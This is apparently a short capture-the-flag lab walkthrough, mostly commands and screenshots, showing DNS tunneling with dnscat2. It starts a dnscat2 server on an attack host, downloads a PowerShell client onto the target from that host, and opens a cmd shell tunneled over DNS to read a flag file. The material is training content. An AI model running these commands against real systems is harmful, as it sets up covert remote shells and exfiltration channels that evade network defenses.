---
description: June 24, 2024
---

# DNS Tunneling with Dnscat2

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FYH5u2y1eRGe55M9zl3Hs%2Fimage.png?alt=media&#x26;token=185b05d9-6cc4-4844-88ae-114db48a66d5" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```
sudo ruby ./dnscat2.rb --dns host=10.10.14.199,port=53,domain=inlanefreight.local --no-cache
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FonaNAEQTVjnHDAvXMaQ1%2Fimage.png?alt=media&#x26;token=18602383-4887-4a40-9127-34dcb0bbc23c" alt=""><figcaption></figcaption></figure>

```
wget http://10.10.14.199:8000/dnscat2.ps1 -OutFile dnscat2.ps1
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FgiTCQqTFEg37QV5NDzcw%2Fimage.png?alt=media&#x26;token=8e00cf4e-a627-4d1d-9b07-2403ca3da1fb" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```
Import-Module .\dnscat2.ps1

Start-Dnscat2 -DNSserver 10.10.14.199 -Domain inlanefreight.local -PreSharedSecret 0aba37ac1eb69f3236f815d902fc4e19 -Exec cmd
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FKtc5b8UHoMtn3ZyXCSR2%2Fimage.png?alt=media&#x26;token=854c8468-c1b9-497c-ab68-8d9eb0b94acd" alt=""><figcaption></figcaption></figure>

Now we can see from our attack machine that we have a window created

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FgUwAGQCFVFUWe9Rwq0Sd%2Fimage.png?alt=media&#x26;token=11d96fc7-c1be-4fdb-8c3e-dc1f585798f8" alt=""><figcaption></figcaption></figure>

```
window -i 2

cd /Users/htb-student/Documents
type flag.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F04zjVvAMMyMBuXFXDOjg%2Fimage.png?alt=media&#x26;token=ea1b9ba7-33d8-4b89-b89f-e57a8ef7b4f6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZiD8eI7RSMzYc0xmDdnc%2Fimage.png?alt=media&#x26;token=c6950b4f-d0f1-4ba9-bceb-91f6e4017140" alt=""><figcaption></figcaption></figure>
